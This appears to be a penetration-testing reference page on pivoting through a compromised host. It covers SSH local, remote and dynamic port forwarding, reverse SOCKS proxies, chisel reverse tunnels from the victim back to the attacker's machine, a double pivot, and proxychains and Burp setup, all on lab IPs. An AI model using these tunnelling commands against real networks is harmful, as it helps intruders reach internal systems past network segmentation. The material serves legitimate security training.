Pivoting

Network setup

The following sections rely on this network setup.
1
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
2
│ attacking │ │ compromised │ │ target │
3
│ machine │ │ machine │ │ machine │
4
│ (local) │ │ (pivot) │ │ (target) │
5
│ │ │ │ │ │
6
│ 10.10.10.2 ◄┼──public──┼► 10.10.10.5 │ │ │
7
│ │ │ │ │ │
8
│ │ │ 172.16.0.5 ◄┼──internal──┼► 172.16.0.10 │
9
│ │ │ │ │ │
10
└──────────────┘ └──────────────┘ └──────────────┘
Copied!
Machine name
Short name
User
Attacking Machine
local
me
Compromised Machine
pivot
victim
Target Machine
target
-

SSH

Common options

option
description
-L
Forward connection (Local port forwarding)
-R
Reverse connection (Remote port forwarding)
-D
Socks proxy (Dynamic port forwarding)
-f
Immediately background the shell
-N
Only establish the connection, don't execute any commands

Forward connection (Local port forwarding)

1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│ssh -L 1337:172.16.0.10:80 │ │
7
├──────────────────────────────►│ │
8
│ │ │
9
│nc 127.0.0.1 1337 │ │
10
├──────────────────────────────►│ 80 │
11
│ ├──────────────────►│
12
│ │ │
Copied!
Setup a local port forward to the target.
1
ssh -L 1337:172.16.0.10:80 [email protected]
Copied!
Execute command
1
<cmd>
2
3
# Example
4
nc 127.0.0.1 1337
Copied!

Reverse connection (Remote port forwarding)

1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│ ssh -R 1337:172.16.0.10:80│ │
7
│◄──────────────────────────────┤ │
8
│ │ │
9
│nc 127.0.0.1 1337 │ │
10
├──────────────────────────────►│ 80 │
11
│ ├──────────────────►│
12
│ │ │
Copied!
As we will connect back from the target (network) to our own machine, we need to take some precautions to ensure our safety.
  1. 1.
    Generate a new ssh key pair
1
ssh-keygen
Copied!
  1. 1.
    Add public key to authorized_keys with following restrictions
1
from="<target-ip>",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty <pub-key>
Copied!
  1. 1.
    Check ssh server status
1
sudo systemctl status ssh
Copied!
  1. 1.
    Start ssh server (if not already running)
1
sudo systemctl start ssh
Copied!
  1. 1.
    Copy the private key over to the pivot ⚠️ Normally we would never give away our private key, but that's why we're using a new throwaway key pair here! ⚠️
Setup a remote port forward from the pivot.
1
ssh -R 1337:172.16.0.10:80 [email protected] -i throwaway-key
Copied!
Execute command (example)
1
nc 127.0.0.1 1337
Copied!

Socks proxy (Dynamic port forwarding)

1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│ssh -D 1337 [...] │ │
7
├────────────────────────────────►│ │
8
│ │ │
9
│proxychains nc 172.16.0.10 any │ │
10
├────────────────────────────────►│ any │
11
│ ├──────────────────►│
12
│ │ │
Copied!
Setup a proxy that forwards any tcp port to any target.
1
ssh -D 1337 [email protected]
Copied!
proxychains.conf (see also below)
1
socks5 127.0.0.1 1337
Copied!
Execute command (example)
1
proxychains nc 172.16.0.10 80
Copied!

Socks proxy (reverse)

1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│ ssh -R 1337 [...]│ │
7
│◄────────────────────────────────┤ │
8
│ │ │
9
│proxychains nc 172.16.0.10 any │ │
10
├────────────────────────────────►│ any │
11
│ ├──────────────────►│
12
│ │ │
Copied!
1
ssh -R 1337 [email protected] -i throwaway-key
Copied!

Chisel

A fast TCP/UDP tunnel over HTTP GitHub - jpillora/chisel

Port forwarding

1
┌────────┐ ┌────────┐ ┌────────┐
2
│ local │ │ pivot │ │ target │
3
│ │ │ │ │ │
4
│ 9000 ◄┼──chisel───────────┼► 9000 │ │ │
5
│ │ │ │ │ │
6
│ 9001 ─┼──port-forwarding──┼────────┼───┼► 80 │
7
│ │ │ │ │ │
8
└────────┘ └────────┘ └────────┘
Copied!
1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│./chisel server -p 9000 -reverse │ │
7
├──┐ │ │
8
│ │ │ │
9
│◄─┘ │ │
10
│ │ │
11
│ ./chisel client 10.10.10.2:9000 [...]│ │
12
│◄───────────────────────────────────────────┤ │
13
│ │ │
14
│nc 172.16.0.10 9001 │ │
15
├───────────────────────────────────────────►│ 80 │
16
│ ├──────────────────►│
17
│ │ │
Copied!
Start server (local)
1
./chisel server -p 9000 -reverse
Copied!
Start client (pivot)
1
./chisel client 10.10.10.2:9000 R:127.0.0.1:9001:172.16.0.10:80
Copied!
Execute command (example)
1
nc 172.16.0.10 9001
Copied!

SOCKS proxy

1
┌────────┐ ┌────────┐ ┌────────┐
2
│ local │ │ pivot │ │ target │
3
│ │ │ │ │ │
4
│ 9000 ◄┼──chisel───────────┼► 9000 │ │ │
5
│ │ │ │ │ │
6
│ 1080 ─┼──SOCKS─proxy──────┼────────┼───┼► any │
7
│ │ │ │ │ │
8
└────────┘ └────────┘ └────────┘
Copied!
1
local pivot target
2
10.10.10.2 10.10.10.5 172.16.0.10
3
172.16.0.5
4
│ │ │
5
│ │ │
6
│./chisel server -p 9000 -reverse │ │
7
├──┐ │ │
8
│ │ │ │
9
│◄─┘ │ │
10
│ │ │
11
│ ./chisel client 10.10.10.2:9000 R:socks│ │
12
│◄───────────────────────────────────────────┤ │
13
│ │ │
14
│proxychains nc 172.16.0.10 any │ │
15
├───────────────────────────────────────────►│ any │
16
│ ├──────────────────►│
17
│ │ │
Copied!
Start server (local)
1
./chisel server -p 9000 -reverse
Copied!
Start client (pivot)
1
./chisel client 10.10.10.2:9000 R:socks
Copied!
Note: <socks-port> defaults to 1080, if left out.
Execute command (example)
1
proxychains nc 172.16.0.10 80
Copied!

Double pivot (via SOCKS proxies)

1
┌─subnet1───────────────────────────┐┌─subnet2───────────────────┐┌─subnet3───────────────┐
2
│ ││ ││ │
3
│ ┌─local──┐ ┌─pivot1─┐ ┌─pivot2─┐ ┌─target─┐ │
4
│ │ │ │ │ │ │ │ │ │
5
│ │ 9000 ◄├──chisel───────────┤► 9000 │ │ │ │ │ │
6
│ │ │ │ │ │ │ │ │ │
7
│ │ │ │ 9001 ◄├──chisel───────────┤► 9001 │ │ │ │
8
│ │ │ │ │ │ │ │ │ │
9
│ │ 1080 ─┼──SOCKS─proxy──────┼────────┼─► any │ │ │ │ │
10
│ │ │ │ │ │ │ │ │ │
11
│ │ 1081 ─┼───────────────────┼────────┼──SOCKS─proxy──────┼────────┼─► any │ │ │
12
│ │ │ │ │ │ │ │ │ │
13
│ └────────┘ └────────┘ └────────┘ └────────┘ │
14
│ ││ ││ │
15
└───────────────────────────────────┘└───────────────────────────┘└───────────────────────┘
Copied!
1
┌─subnet1───────────────────────────────────────┐┌─subnet2───────────────────────────────────┐┌─subnet3───────────────┐
2
3
local pivot pivot2 target
4
10.10.10.2 10.10.10.5 172.16.0.10 172.16.1.20
5
172.16.0.5 172.16.1.10
6
│ │ │ │
7
│ │ │ │
8
│./chisel server -p 9000 -reverse │ │ │
9
├──┐ │ │ │
10
│ │ │ │ │
11
│◄─┘ │ │ │
12
│ │ │ │
13
│ ./chisel client 10.10.10.2:9000 R:socks│ │ │
14
│◄───────────────────────────────────────────┤ │ │
15
│ │ │ │
16
│ │./chisel server -p 9001 -reverse │ │
17
│ ├──┐ │ │
18
│ │ │ │ │
19
│ │◄─┘ │ │
20
│ │ │ │
21
│ │ ./chisel client 172.16.0.5:9001 R:socks│ │
22
│ │◄───────────────────────────────────────────┤ │
23
│ │ │ │
24
│ │ │ │
25
│ │ │ │
26
│proxychains nc <target-ip> any │ │ │
27
├───────────────────────────────────────────►│ any │ │
28
│ ├───────────────────────────────────────────►│ any │
29
│ │ ├──────────────────►│
30
│ │ │ │
Copied!
Start server (local)
1
./chisel server -p 9000 -reverse
Copied!
Start client (pivot1)
1
./chisel client 10.10.10.2:9000 R:socks
Copied!
Start another server (pivot1)
1
./chisel server -p 9001 -reverse
Copied!
Start another client (pivot2)
1
./chisel client 172.16.0.5:9001 R:socks
Copied!
Add another proxy to proxychains.conf (more details on proxychains, see below)
1
socks5 127.0.0.1 1080
2
socks5 127.0.0.1 1081
Copied!
Execute command (example)
1
proxychains nc 172.16.1.20 80
Copied!

Verify

1
netstat -tulpn
Copied!
E.g.
1
[...]
2
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
3
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 50883/ssh
4
tcp6 0 0 ::1:1337 :::* LISTEN 50883/ssh
5
[...]
Copied!

proxychains

A tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. GitHub - haad/proxychains: proxychains

Config file

Proxychains looks for configuration in the following order:
  1. 1.
    Env
  2. 2.
    -f proxychains.conf
  3. 3.
    ./proxychains.conf
  4. 4.
    ~/.proxychains/proxychains.conf
  5. 5.
    /etc/proxychains.conf
1
socks5 127.0.0.1 1080
Copied!
Run command via proxychains
1
proxychains <cmd>
Copied!

Burp Suite

To use Burp Suite in this setup, just configure the socks proxy there.
Project options or User optionsSOCKS Proxy☑️ Use SOCKS Proxy
  • SOCKS proxy host: 127.0.0.1
  • SOCKS proxy port: 1080
⚠️ Keep your browser pointing to Burp Suites' proxy as usual! ⚠️

Foxy Proxy